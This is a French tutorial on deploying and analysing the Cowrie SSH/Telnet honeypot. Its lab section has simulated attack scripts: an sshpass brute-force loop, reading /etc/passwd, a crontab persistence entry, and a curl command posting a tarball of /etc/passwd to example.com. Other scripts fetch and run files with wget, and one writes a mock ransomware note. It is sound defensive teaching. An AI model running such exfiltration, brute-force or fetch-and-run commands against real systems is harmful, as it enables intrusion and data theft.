Déployer un Honeypot SSH/Telnet avec Cowrie : Tutoriel Complet (Installation, Docker, Analyse, Sécurité)

D-GothLeave a Comment on Déployer un Honeypot SSH/Telnet avec Cowrie : Tutoriel Complet (Installation, Docker, Analyse, Sécurité)
Facebook Twitter Google Plus Instagram YouTube Twitch

Avec plus de 50 % des serveurs exposés subissant des tentatives de brute-force SSH quotidiennes en 2024, selon les rapports de cybersécurité, comprendre les techniques des attaquants est crucial. Cowrie, un honeypot interactif écrit en Python, simule un serveur vulnérable pour capturer et analyser les comportements malveillants, offrant des insights précieux pour les analystes SOC, chercheurs en cybersécurité ou passionnés.

Ce guide couvre :

  • Installation de Cowrie (natif ou Docker)
  • Configuration sécurisée et réaliste
  • Tests en laboratoire avec des scripts simulant des attaques (reconnaissance, brute-force, malware, persistance, exfiltration, ransomware, cryptojacking)
  • Analyse détaillée des logs et intégration dans ELK

Important — Avant de commencer
Exécutez les tests uniquement dans un laboratoire isolé (VM, réseau segmenté, ex. : réseau NAT dans VirtualBox). Respectez les lois locales, le RGPD, et anonymisez les données (ex. : adresses IP) avant publication.

Prérequis

Pourquoi ces prérequis ?

Un environnement bien configuré garantit un déploiement fluide et des tests sécurisés. Les vérifications identifient les incompatibilités, et les outils facilitent les simulations et l’analyse.

Compétences et outils nécessaires

  • Connaissances : Commandes Linux, notions de Python/Docker, terminal.
  • Environnement : Machine Linux (Ubuntu 20.04+ recommandé) avec 2 Go de RAM minimum.
  • Logiciels :
    • Python 3.8+ (installation native)
    • Docker 20.10+ et docker-compose 1.29+ (Docker)
    • Outils : git, sshpass, jq, tcpdump, wireshark, curl, nano, ufw

Vérifications initiales

# Vérifier l’OS
lsb_release -a
uname -a

# Vérifier Python (installation native)
python3 --version  # Doit retourner Python 3.8+

# Vérifier Docker (si utilisé)
docker --version
docker-compose --version || echo "docker-compose non installé"

Explication :

  • lsb_release -a et uname -a vérifient la compatibilité de l’OS.
  • python3 --version confirme que Python est compatible.
  • docker --version et docker-compose --version vérifient Docker.

Installez les outils :

sudo apt update && sudo apt upgrade -y
sudo apt install -y git sshpass jq tcpdump wireshark curl nano ufw

Explication : Met à jour le système et installe les outils pour cloner le dépôt, automatiser les connexions, analyser les logs, capturer le trafic, et gérer le pare-feu.

Précaution : Utilisez un réseau isolé (ex. : réseau NAT dans VirtualBox).

1. Installation de Cowrie

Pourquoi installer Cowrie ?

Cowrie simule un serveur SSH/Telnet vulnérable pour attirer les attaquants et enregistrer leurs actions. L’installation native permet de modifier le code, Docker offre isolation et simplicité.

1.1 Installation native (environnement virtuel)

Quand l’utiliser ? Pour personnaliser le code ou travailler sans conteneurs.

# Installer les dépendances système
sudo apt install -y python3 python3-venv python3-dev libpython3-dev \
                    libssl-dev libffi-dev build-essential git

# Cloner le dépôt
git clone https://github.com/cowrie/cowrie.git
cd cowrie

# Créer et activer un environnement virtuel
python3 -m venv cowrie-env
source cowrie-env/bin/activate

# Mettre à jour pip et installer les dépendances
python -m pip install --upgrade pip setuptools wheel
pip install -r requirements.txt

# Copier les configurations par défaut
cp cowrie.cfg.dist cowrie.cfg
cp etc/userdb/userdb.sample etc/userdb/userdb.txt

# Créer les répertoires pour les logs et données
mkdir -p var/log/cowrie var/lib/cowrie

Explication :

  • apt install installe les dépendances pour Python et Twisted.
  • git clone récupère le code source.
  • python3 -m venv isole les dépendances.
  • pip install -r requirements.txt installe Twisted, cryptography, etc.
  • cp copie les configurations par défaut.
  • mkdir -p crée les dossiers pour logs et fichiers factices.

Précaution : Activez le venv (source cowrie-env/bin/activate) avant chaque commande Python.

Configurer un service systemd

Pour un démarrage automatique et une gestion robuste, créez un service systemd :

  1. Créez /etc/systemd/system/cowrie.service : 
    [Unit]
Description=Cowrie Honeypot
After=network.target

[Service]
Type=simple
User=cowrie  # Remplacez par votre utilisateur
WorkingDirectory=/home/cowrie/cowrie  # Ajustez au chemin du dépôt
ExecStart=/home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/bin/cowrie start
ExecStop=/home/cowrie/cowrie/bin/cowrie stop
Restart=on-failure

[Install]
WantedBy=multi-user.target
  2. Créez un utilisateur dédié (optionnel, pour l’isolation) : 
    sudo useradd -m -s /bin/false cowrie
sudo chown -R cowrie:cowrie /home/cowrie/cowrie
  3. Activez et démarrez le service : 
    sudo systemctl daemon-reload
sudo systemctl enable --now cowrie
sudo systemctl status cowrie

Explication :

  • cowrie.service définit un service systemd pour lancer Cowrie automatiquement au démarrage.
  • User=cowrie exécute Cowrie avec un utilisateur non privilégié pour plus de sécurité.
  • WorkingDirectory et ExecStart pointent vers le répertoire et l’exécutable de Cowrie.
  • systemctl daemon-reload met à jour la configuration, enable --now active et démarre le service.
  • systemctl status vérifie l’état.

Précaution : Ajustez les chemins (WorkingDirectory, ExecStart) au répertoire réel de Cowrie. Assurez-vous que l’utilisateur cowrie a les permissions sur /home/cowrie/cowrie (chown -R cowrie:cowrie).

1.2 Installation via Docker

Quand l’utiliser ? Pour une installation rapide et isolée.

Option A : Image publique

docker pull cowrie/cowrie:latest || echo "Image non trouvée, passez à l’option B"

Explication : Télécharge l’image officielle depuis Docker Hub.

Option B : Construire localement

# Depuis le dossier cloné
docker build -t local-cowrie:latest .

# Créer un dossier pour les données
mkdir -p $(pwd)/cowrie-data

# Lancer le conteneur
docker run -d --name cowrie \
  -p 2222:2222 \
  -v $(pwd)/cowrie-data:/cowrie \
  local-cowrie:latest

Explication :

  • docker build crée une image à partir du Dockerfile.
  • mkdir -p stocke les logs/configurations.
  • docker run lance le conteneur, mappant le port 2222.

Option C : Docker-compose

Créez docker-compose.yml :

version: "3.8"
services:
  cowrie:
    image: local-cowrie:latest
    container_name: cowrie
    restart: unless-stopped
    ports:
      - "2222:2222"
    volumes:
      - ./cowrie-data:/cowrie

Lancez :

docker-compose up -d

Explication : Simplifie la gestion avec un redémarrage automatique.

Précaution : Évitez le port 22 si l’hôte utilise SSH. Vérifiez les permissions de cowrie-data (chown 1000:1000 cowrie-data).

Contrôle et vérification

Vérifiez l’état :

# Installation native
ps aux | grep -i cowrie || systemctl status cowrie

# Docker
docker ps --filter name=cowrie

Consultez les logs :

# Installation native
tail -f var/log/cowrie/cowrie.log

# Docker
docker logs -f cowrie

Accédez au conteneur (Docker) :

docker exec -it cowrie bash

Explication : Confirme l’exécution, affiche les logs, et permet l’inspection.

Précaution : Vérifiez les permissions (var/log/cowrie) si aucun processus/conteneur n’apparaît.

2. Configuration de Cowrie

Pourquoi configurer Cowrie ?

Une configuration réaliste rend le honeypot crédible et capture toutes les actions des attaquants, tandis que des règles réseau sécurisent le déploiement.

2.1 Édition de cowrie.cfg

Ouvrez le fichier :

nano cowrie.cfg

Ajustez :

[ssh]
listen_port = 2222
hostname = "ubuntu-20-04"
banner = "Ubuntu 20.04.6 LTS\nKernel 5.15.x"

[output_json]
enabled = true
path = var/log/cowrie/cowrie.json

[output_textlog]
logfile = var/log/cowrie/cowrie.log

[output_ttylog]
enabled = true
ttylog_path = var/log/cowrie/tty

Explication :

  • listen_port : Évite les conflits avec SSH réel.
  • hostname, banner : Simulent un serveur Ubuntu.
  • output_json, output_textlog, output_ttylog : Génèrent des logs structurés, lisibles, et rejouables.

Précaution : Créez les dossiers de logs (mkdir -p var/log/cowrie) et vérifiez les permissions (chmod -R 755 var/log/cowrie).

2.2 Création d’un faux système de fichiers

Ajoutez des fichiers factices (ne mettez jamais de données réelles) :

mkdir -p var/lib/cowrie/home/admin/backups
mkdir -p var/lib/cowrie/var/www/html

# Créer README.txt
echo "Backup Instructions
============
This server contains critical backups in /home/admin/backups.
Do not delete or modify without authorization.
Last updated: $(date)" > var/lib/cowrie/home/admin/README.txt

# Créer backup.sql
echo "-- Fake SQL dump for testing
CREATE DATABASE fake_db;
USE fake_db;
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(255)
);
INSERT INTO users (username, password) VALUES
('admin', 'hashed_password'),
('webadmin', 'changeme123');
" > var/lib/cowrie/home/admin/backups/backup.sql

# Créer index.php
echo "<?php
echo 'Welcome to the internal server';
phpinfo();
?>" > var/lib/cowrie/var/www/html/index.php

chmod -R 755 var/lib/cowrie

Explication :

  • mkdir -p crée une arborescence réaliste.
  • README.txt simule une documentation.
  • backup.sql imite une base de données.
  • index.php simule une page web vulnérable.
  • chmod -R 755 assure l’accès.

Précaution : Évitez les données sensibles. Vérifiez les permissions (ls -l var/lib/cowrie).

2.3 Configuration des utilisateurs factices

Éditez etc/userdb/userdb.txt :

admin:password
webadmin:changeme
root:toor

Explication : Définit des comptes avec mots de passe faibles pour attirer les attaquants.

Précaution : Ne réutilisez pas de mots de passe réels.

2.4 Règles réseau et sécurité

Configurez un pare-feu pour isoler le honeypot :

Avec UFW

# Activer UFW
sudo ufw enable

# Autoriser SSH entrant sur le port 2222
sudo ufw allow proto tcp from any to any port 2222

# Bloquer tout trafic sortant sauf vers le serveur ELK (ex. : 10.0.0.5:5044)
sudo ufw deny out to any
sudo ufw allow out to 10.0.0.5 port 5044 proto tcp

# Vérifier les règles
sudo ufw status

Avec iptables (alternative)

# Autoriser SSH entrant sur 2222
sudo iptables -A INPUT -p tcp --dport 2222 -j ACCEPT

# Bloquer tout trafic sortant
sudo iptables -A OUTPUT -j DROP

# Autoriser le trafic sortant vers ELK (ex. : 10.0.0.5:5044)
sudo iptables -A OUTPUT -p tcp -d 10.0.0.5 --dport 5044 -j ACCEPT

# Sauvegarder les règles
sudo iptables-save > /etc/iptables/rules.v4

Explication :

  • UFW : Simplifie la gestion du pare-feu. allow proto tcp ... 2222 limite l’accès entrant au port SSH simulé. deny out et allow out to 10.0.0.5 restreignent le trafic sortant au serveur ELK (Filebeat).
  • iptables : Offre un contrôle granulaire. Les règles sont similaires à UFW mais plus explicites.
  • Les règles protègent l’hôte et limitent les interactions du honeypot à l’environnement de test.

Précaution : Remplacez 10.0.0.5:5044 par l’IP/port de votre serveur ELK. Testez les règles (curl http://example.com doit échouer, sauf vers ELK). Sauvegardez les règles iptables pour persistance (apt install iptables-persistent).

2.5 Démarrage et arrêt

  • Installation native : 
    sudo systemctl start cowrie
sudo systemctl stop cowrie
  • Docker : 
    docker-compose up -d
docker-compose down

Explication :

  • systemctl gère le service Cowrie pour l’installation native.
  • docker-compose gère le conteneur.

Précaution : Vérifiez que le port 2222 est libre (netstat -tuln | grep 2222).

3. Tests contrôlés en laboratoire

Pourquoi effectuer des tests ?

Les tests simulent des attaques réalistes pour valider la configuration et apprendre à reconnaître les schémas d’attaque (reconnaissance, brute-force, malware, persistance, exfiltration, ransomware, cryptojacking).

Important : Exécutez les tests uniquement dans un laboratoire isolé (réseau segmenté).

3.1 Scripts de test crédibles

Ces scripts, inoffensifs, simulent des comportements malveillants.

Script 1 : Reconnaissance (recon.sh)

echo '#!/bin/bash
# Simulateur de reconnaissance (inoffensif)
echo "=== Reconnaissance ==="
echo "Utilisateur : $(whoami)"
echo "Système : $(uname -a)"
echo "Interfaces réseau :"
ip addr show 2>/dev/null
echo "Processus :"
ps aux | head -n 5
echo "Fichiers dans /home :"
ls -la /home
echo "Contenu de /etc/passwd :"
cat /etc/passwd 2>/dev/null
echo "=== Fin ==="
' > recon.sh
chmod +x recon.sh

Explication : Simule une exploration initiale, générant des logs pour whoami, ip addr, etc.

Objectif : Observer la reconnaissance post-compromission.

Script 2 : Brute-force (bruteforce.sh)

echo '#!/bin/bash
# Simulateur de brute-force SSH (inoffensif)
# Usage : ./bruteforce.sh HONEYPOT_IP
if [ -z "$1" ]; then
  echo "Erreur : fournissez l’IP du honeypot (ex. : ./bruteforce.sh 192.168.1.200)"
  exit 1
fi
HONEYPOT_IP=$1
PORT=2222
PASSWORDS=("password" "123456" "qwerty" "admin" "toor" "letmein")
echo "=== Simulation de brute-force sur $HONEYPOT_IP:$PORT ==="
sudo apt update
sudo apt install -y sshpass
for p in "${PASSWORDS[@]}"; do
  echo "Tentative avec mot de passe : $p"
  sshpass -p "$p" ssh -o StrictHostKeyChecking=no -p $PORT admin@$HONEYPOT_IP "echo 'login attempt: $p'" 2>/dev/null
  sleep 1
done
echo "=== Fin ==="
' > bruteforce.sh
chmod +x bruteforce.sh

Exécutez :

./bruteforce.sh HONEYPOT_IP

Explication : Automatise des tentatives de connexion, générant des logs cowrie.session.connect.

Objectif : Simuler une attaque par brute-force.

Script 3 : Malware (malware.sh)

echo '#!/bin/bash
# Simulateur de malware (inoffensif)
echo "=== Simulation de malware ==="
echo "Date : $(date)"
echo "Utilisateur : $(whoami)"
echo "Téléchargement..."
wget http://example.com/fake_malware.bin -O /tmp/fake_malware.bin 2>/dev/null || echo "Téléchargement échoué"
echo "Création d’un dossier..."
mkdir -p /tmp/malware_data
echo "Fichier factice créé" > /tmp/malware_data/config.txt
echo "Tentative d’exécution..."
chmod +x /tmp/fake_malware.bin 2>/dev/null || echo "Exécution échouée"
echo "=== Fin ==="
' > malware.sh
chmod +x malware.sh

Explication : Simule un téléchargement et une exécution de malware.

Objectif : Reproduire l’installation d’un logiciel malveillant.

Script 4 : Persistance (persist.sh)

echo '#!/bin/bash
# Simulateur de persistance (inoffensif)
echo "=== Simulation de persistance ==="
echo "Vérification des crontabs..."
crontab -l 2>/dev/null || echo "Aucun crontab"
echo "Ajout d’une tâche cron..."
echo "* * * * * echo 'Faux malware à $(date)' >> /tmp/cron_log.txt" | crontab -
echo "Vérification des services..."
systemctl list-units | grep service | head -n 3
echo "Création d’un script..."
echo "echo 'Persistance simulée' >> /tmp/persist.log" > /tmp/persist.sh
chmod +x /tmp/persist.sh
echo "=== Fin ==="
' > persist.sh
chmod +x persist.sh

Explication : Simule l’ajout d’une tâche cron et d’un script de persistance.

Objectif : Reproduire une tentative de maintien d’accès.

Script 5 : Exfiltration (exfil.sh)

echo '#!/bin/bash
# Simulateur d’exfiltration (inoffensif)
echo "=== Simulation d’exfiltration ==="
echo "Collecte de données..."
cat /etc/passwd > /tmp/stolen_data.txt 2>/dev/null
ls -la /home >> /tmp/stolen_data.txt
echo "Compression..."
tar -czf /tmp/stolen_data.tar.gz /tmp/stolen_data.txt 2>/dev/null
echo "Tentative d’exfiltration..."
curl -X POST --data-binary @/tmp/stolen_data.tar.gz http://example.com/upload 2>/dev/null || echo "Exfiltration échouée"
echo "=== Fin ==="
' > exfil.sh
chmod +x exfil.sh

Explication : Simule la collecte et l’envoi de données.

Objectif : Reproduire une exfiltration.

Script 6 : Ransomware (ransomware.sh)

echo '#!/bin/bash
# Simulateur de ransomware (inoffensif)
echo "=== Simulation de ransomware ==="
echo "Date : $(date)"
echo "Utilisateur : $(whoami)"
echo "Recherche de fichiers..."
find /home -type f | head -n 3 > /tmp/file_list.txt
echo "Simulation de chiffrement..."
while read -r file; do
  echo "Chiffrement simulé de $file"
  echo "Fichier chiffré (factice)" > "$file.encrypted"
done < /tmp/file_list.txt
echo "Création d’une note de rançon..."
echo "VOS FICHIERS ONT ÉTÉ CHIFFRÉS (simulation) !
Pour récupérer vos fichiers, envoyez 0.1 BTC à : 1FakeBitcoinAddress
Contact : fakehacker@protonmail.com" > /tmp/ransom_note.txt
cat /tmp/ransom_note.txt
echo "=== Fin ==="
' > ransomware.sh
chmod +x ransomware.sh

Explication : Simule un chiffrement et une note de rançon.

Objectif : Reproduire un ransomware.

Script 7 : Cryptojacking (cryptojack.sh)

echo '#!/bin/bash
# Simulateur de cryptojacking (inoffensif)
echo "=== Simulation de cryptojacking ==="
echo "Date : $(date)"
echo "Utilisateur : $(whoami)"
echo "Téléchargement d’un mineur..."
wget http://example.com/fake_miner.bin -O /tmp/fake_miner.bin 2>/dev/null || echo "Téléchargement échoué"
echo "Tentative d’exécution..."
chmod +x /tmp/fake_miner.bin 2>/dev/null || echo "Exécution échouée"
echo "Simulation CPU..."
for i in {1..5}; do
  echo "Cycle $i : minage simulé..."
  sleep 1
done
echo "Envoi de données..."
curl -X POST --data "mined_data=fake_hash" http://example.com/miner 2>/dev/null || echo "Envoi échoué"
echo "=== Fin ==="
' > cryptojack.sh
chmod +x cryptojack.sh

Explication : Simule un minage de cryptomonnaie.

Objectif : Reproduire un cryptojacking.

3.2 Script complet pour automatiser les tests

Créez test_honeypot.sh :

echo '#!/bin/bash
# Script de test pour Cowrie (LABORATOIRE UNIQUEMENT)
# Usage : ./test_honeypot.sh HONEYPOT_IP

if [ -z "$1" ]; then
  echo "Erreur : fournissez l’IP du honeypot (ex. : ./test_honeypot.sh 192.168.1.200)"
  exit 1
fi

HONEYPOT_IP=$1
PORT=2222
ATTACKER_IP=$(hostname -I | awk "{print \$1}")

echo "=== Début des tests sur $HONEYPOT_IP:$PORT ==="

# Installer sshpass
sudo apt update
sudo apt install -y sshpass

# Créer les scripts de test
echo "Création des scripts..."
echo "#!/bin/bash
echo '=== Reconnaissance ==='
echo 'Utilisateur : $(whoami)'
echo 'Système : $(uname -a)'
ip addr show 2>/dev/null
ps aux | head -n 5
ls -la /home
cat /etc/passwd 2>/dev/null
echo '=== Fin ==='" > recon.sh

echo "#!/bin/bash
echo '=== Simulation de malware ==='
echo 'Date : $(date)'
wget http://example.com/fake_malware.bin -O /tmp/fake_malware.bin 2>/dev/null || echo 'Téléchargement échoué'
mkdir -p /tmp/malware_data
echo 'Fichier factice créé' > /tmp/malware_data/config.txt
chmod +x /tmp/fake_malware.bin 2>/dev/null || echo 'Exécution échouée'
echo '=== Fin ==='" > malware.sh

echo "#!/bin/bash
echo '=== Simulation de persistance ==='
crontab -l 2>/dev/null || echo 'Aucun crontab'
echo '* * * * * echo \"Faux malware à $(date)\" >> /tmp/cron_log.txt' | crontab -
systemctl list-units | grep service | head -n 3
echo 'echo \"Persistance simulée\" >> /tmp/persist.log' > /tmp/persist.sh
chmod +x /tmp/persist.sh
echo '=== Fin ==='" > persist.sh

echo "#!/bin/bash
echo '=== Simulation d’exfiltration ==='
cat /etc/passwd > /tmp/stolen_data.txt 2>/dev/null
ls -la /home >> /tmp/stolen_data.txt
tar -czf /tmp/stolen_data.tar.gz /tmp/stolen_data.txt 2>/dev/null
curl -X POST --data-binary @/tmp/stolen_data.tar.gz http://example.com/upload 2>/dev/null || echo 'Exfiltration échouée'
echo '=== Fin ==='" > exfil.sh

echo "#!/bin/bash
echo '=== Simulation de ransomware ==='
echo 'Date : $(date)'
echo 'Utilisateur : $(whoami)'
echo 'Recherche de fichiers...'
find /home -type f | head -n 3 > /tmp/file_list.txt
echo 'Simulation de chiffrement...'
while read -r file; do
  echo \"Chiffrement simulé de \$file\"
  echo 'Fichier chiffré (factice)' > \"\$file.encrypted\"
done < /tmp/file_list.txt
echo 'Création d’une note de rançon...'
echo 'VOS FICHIERS ONT ÉTÉ CHIFFRÉS (simulation) !
Pour récupérer vos fichiers, envoyez 0.1 BTC à : 1FakeBitcoinAddress
Contact : fakehacker@protonmail.com' > /tmp/ransom_note.txt
cat /tmp/ransom_note.txt
echo '=== Fin ==='" > ransomware.sh

echo "#!/bin/bash
echo '=== Simulation de cryptojacking ==='
echo 'Date : $(date)'
echo 'Utilisateur : $(whoami)'
echo 'Téléchargement d’un mineur...'
wget http://example.com/fake_miner.bin -O /tmp/fake_miner.bin 2>/dev/null || echo 'Téléchargement échoué'
echo 'Tentative d’exécution...'
chmod +x /tmp/fake_miner.bin 2>/dev/null || echo 'Exécution échouée'
echo 'Simulation CPU...'
for i in {1..5}; do
  echo \"Cycle \$i : minage simulé...\"
  sleep 1
done
echo 'Envoi de données...'
curl -X POST --data 'mined_data=fake_hash' http://example.com/miner 2>/dev/null || echo 'Envoi échoué'
echo '=== Fin ==='" > cryptojack.sh

chmod +x recon.sh malware.sh persist.sh exfil.sh ransomware.sh cryptojack.sh

# Lancer le serveur HTTP
echo "Lancement du serveur HTTP..."
python3 -m http.server 8000 &
SERVER_PID=$!
sleep 2

# Test 1 : Brute-force
echo "Test 1 : Simulation de brute-force"
PASSWORDS=("password" "123456" "qwerty" "admin" "toor" "letmein")
for p in "${PASSWORDS[@]}"; do
  sshpass -p "$p" ssh -o StrictHostKeyChecking=no -p $PORT admin@$HONEYPOT_IP "echo 'login attempt: $p'" 2>/dev/null
  sleep 1
done

# Test 2 : Exécution des scripts
echo "Test 2 : Exécution des scripts"
sshpass -p "password" ssh -o StrictHostKeyChecking=no -p $PORT admin@$HONEYPOT_IP << "EOF"
wget http://$ATTACKER_IP:8000/recon.sh -O /tmp/recon.sh
chmod +x /tmp/recon.sh
./tmp/recon.sh
wget http://$ATTACKER_IP:8000/malware.sh -O /tmp/malware.sh
chmod +x /tmp/malware.sh
./tmp/malware.sh
wget http://$ATTACKER_IP:8000/persist.sh -O /tmp/persist.sh
chmod +x /tmp/persist.sh
./tmp/persist.sh
wget http://$ATTACKER_IP:8000/exfil.sh -O /tmp/exfil.sh
chmod +x /tmp/exfil.sh
./tmp/exfil.sh
wget http://$ATTACKER_IP:8000/ransomware.sh -O /tmp/ransomware.sh
chmod +x /tmp/ransomware.sh
./tmp/ransomware.sh
wget http://$ATTACKER_IP:8000/cryptojack.sh -O /tmp/cryptojack.sh
chmod +x /tmp/cryptojack.sh
./tmp/cryptojack.sh
exit
EOF

# Arrêter le serveur HTTP
kill $SERVER_PID
echo "=== Tests terminés ==="
' > test_honeypot.sh
chmod +x test_honeypot.sh

Exécutez :

./test_honeypot.sh HONEYPOT_IP

Explication : Automatise le brute-force et l’exécution des scripts, générant des logs pour chaque action.

Précaution : Remplacez HONEYPOT_IP par l’IP réelle (ex. : 192.168.1.200). Exécutez dans un réseau isolé.

3.3 Capture réseau

sudo tcpdump -i any port 2222 -w cowrie-ssh.pcap

Explication : Enregistre le trafic SSH pour analyse avec Wireshark.

Précaution : Arrêtez après quelques secondes (Ctrl+C).

4. Analyse des logs

Pourquoi analyser les logs ?

Les logs capturent toutes les actions des attaquants, permettant de valider les tests et de reconnaître les schémas d’attaque. Comprendre leur structure aide à identifier les comportements malveillants.

4.1 Chemins des logs

  • Logs textuels : var/log/cowrie/cowrie.log (dépannage)
  • Logs JSON : var/log/cowrie/cowrie.json (analyse structurée)
  • Replays TTY : var/log/cowrie/tty/ (rejeu des sessions)

Explication : Les logs JSON sont structurés pour ELK, les TTY permettent de rejouer les sessions, et les logs textuels facilitent le débogage.

Précaution : Vérifiez les permissions (chmod -R 755 var/log/cowrie).

4.2 Comprendre la structure des logs JSON

Les logs JSON contiennent des événements avec :

  • eventid : Type (ex. : cowrie.session.connect, cowrie.session.input).
  • timestamp : Date/heure (ex. : 2025-10-24T10:00:00Z).
  • src_ip : IP de l’attaquant.
  • username : Utilisateur tenté.
  • password : Mot de passe tenté.
  • input : Commande saisie.
  • session : ID unique de la session.

Exemple de log JSON (après test_honeypot.sh) :

{
  "eventid": "cowrie.session.connect",
  "timestamp": "2025-10-24T10:00:00Z",
  "src_ip": "192.168.1.100",
  "username": "admin",
  "password": "password",
  "session": "abc123"
}
{
  "eventid": "cowrie.session.input",
  "timestamp": "2025-10-24T10:00:02Z",
  "src_ip": "192.168.1.100",
  "username": "admin",
  "input": "wget http://192.168.1.100:8000/ransomware.sh -O /tmp/ransomware.sh",
  "session": "abc123"
}
{
  "eventid": "cowrie.session.input",
  "timestamp": "2025-10-24T10:00:04Z",
  "src_ip": "192.168.1.100",
  "username": "admin",
  "input": "cat /tmp/ransom_note.txt",
  "session": "abc123"
}

Interprétation :

  • cowrie.session.connect : Tentative de connexion SSH.
  • cowrie.session.input : Commandes saisies (ex. : téléchargement, affichage de la note de rançon).
  • session : Relie les événements d’une même session.

4.3 Analyse avec jq

  • Tentatives de connexion : 
    jq -r 'select(.eventid=="cowrie.session.connect") | [.timestamp, .src_ip, .username, .password] | @tsv' var/log/cowrie/cowrie.json \
  | column -t

Exemple de sortie :

2025-10-24T10:00:00Z  192.168.1.100  admin  password
2025-10-24T10:00:01Z  192.168.1.100  admin  123456
2025-10-24T10:00:02Z  192.168.1.100  admin  qwerty

Interprétation : Montre les tentatives de brute-force.

  • Commandes saisies : 
    jq -r 'select(.eventid=="cowrie.session.input") | [.timestamp, .src_ip, .username, .input] | @tsv' var/log/cowrie/cowrie.json \
  | tail -n 10 | column -t

Exemple de sortie :

2025-10-24T10:00:02Z  192.168.1.100  admin  wget http://192.168.1.100:8000/ransomware.sh -O /tmp/ransomware.sh
2025-10-24T10:00:03Z  192.168.1.100  admin  chmod +x /tmp/ransomware.sh
2025-10-24T10:00:04Z  192.168.1.100  admin  ./tmp/ransomware.sh
2025-10-24T10:00:05Z  192.168.1.100  admin  cat /tmp/ransom_note.txt

Interprétation : Montre les actions d’un ransomware.

  • Commandes fréquentes : 
    jq -r 'select(.eventid=="cowrie.session.input") | .input' var/log/cowrie/cowrie.json \
  | sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | sort | uniq -c | sort -nr | head -n 5

Exemple de sortie :

      3 wget http://192.168.1.100:8000/recon.sh -O /tmp/recon.sh
      3 chmod +x /tmp/recon.sh
      2 ls -la /home
      2 cat /etc/passwd
      1 ./tmp/ransomware.sh

Interprétation : Identifie les commandes les plus utilisées.

  • IP uniques : 
    jq -r 'select(.src_ip) | .src_ip' var/log/cowrie/cowrie.json | sort | uniq -c | sort -nr | head

Exemple de sortie :

      15 192.168.1.100

Interprétation : Confirme l’isolation du test.

4.4 Interprétation des logs pour chaque scénario

  • Reconnaissance (recon.sh) : Cherchez whoami, uname -a, ip addr, ps aux, ls -la, cat /etc/passwd dans cowrie.session.input.
  • Brute-force (bruteforce.sh) : Cherchez cowrie.session.connect avec différents password.
  • Malware (malware.sh) : Cherchez wget, mkdir, chmod.
  • Persistance (persist.sh) : Cherchez crontab, systemctl.
  • Exfiltration (exfil.sh) : Cherchez cat, tar, curl.
  • Ransomware (ransomware.sh) : Cherchez find, .encrypted, cat /tmp/ransom_note.txt.
  • Cryptojacking (cryptojack.sh) : Cherchez wget, chmod, boucles for.

4.5 Anonymisation des logs

Avant de partager des logs ou captures d’écran, anonymisez les adresses IP :

  • Pour les logs JSON : 
    jq 'walk(if type == "string" then gsub("([0-9]+\\.[0-9]+\\.[0-9]+)\\.[0-9]+"; "\\1.xxx") else . end)' var/log/cowrie/cowrie.json > cowrie.anonym.json

Explication : Remplace le dernier octet des IP (ex. : 192.168.1.100 → 192.168.1.xxx) dans les logs JSON.

  • Pour les logs textuels : 
    sed -E 's/([0-9]+\.[0-9]+\.[0-9]+)\.[0-9]+/\1.xxx/g' var/log/cowrie/cowrie.log > cowrie.anonym.log

Explication : Applique le même masquage aux logs textuels.

Précaution : Vérifiez le fichier anonymisé (cat cowrie.anonym.json ou cowrie.anonym.log) avant publication. Ne partagez pas de données sensibles (ex. : vrais mots de passe).

4.6 Intégration avec ELK

Configurez Filebeat :

  1. Modifiez /etc/filebeat/filebeat.yml : 
    filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /path/to/cowrie/var/log/cowrie/*.json
  json.keys_under_root: true
  json.add_error_key: true
  2. Redémarrez Filebeat : 
    sudo systemctl restart filebeat
sudo systemctl status filebeat
  3. Créez des dashboards Kibana pour src_ip, username, input, eventid.

Exemple de dashboard :

  • Graphique des connexions par src_ip.
  • Chronologie des eventid (ex. : cowrie.session.connect → cowrie.session.input).
  • Tableau des commandes (input).

Précaution : Anonymisez les logs avant l’ingestion dans ELK. Testez avec un log factice.

5. Dépannage fréquent

Pourquoi dépanner ?

Les erreurs courantes peuvent bloquer Cowrie.

  • Erreur pip/venv : 
    source cowrie-env/bin/activate
python -m pip install --upgrade pip setuptools wheel
pip install -r requirements.txt
  • Port occupé : 
    netstat -tuln | grep 2222

    Modifiez listen_port dans cowrie.cfg (ex. : 2223).

  • Logs non générés : 
    chmod -R 755 var/log/cowrie
ls -ld var/log/cowrie
  • Échec SSH : 
    pip show twisted
pip install twisted
  • Docker : volume vide : 
    docker exec -it cowrie bash
ls -l /cowrie
chown 1000:1000 cowrie-data
  • TTY vide : Vérifiez ttylog = true dans cowrie.cfg.
  • Service systemd échoue : 
    sudo systemctl status cowrie
journalctl -u cowrie -b

Précaution : Sauvegardez cowrie.cfg et notez les erreurs des logs.

Ce guide permet de déployer Cowrie, de simuler des attaques réalistes, et d’analyser les logs pour reconnaître les schémas d’attaque. Ajoutez des captures d’écran (logs, Kibana) après vos tests, en veillant à les anonymiser.

Leave a Reply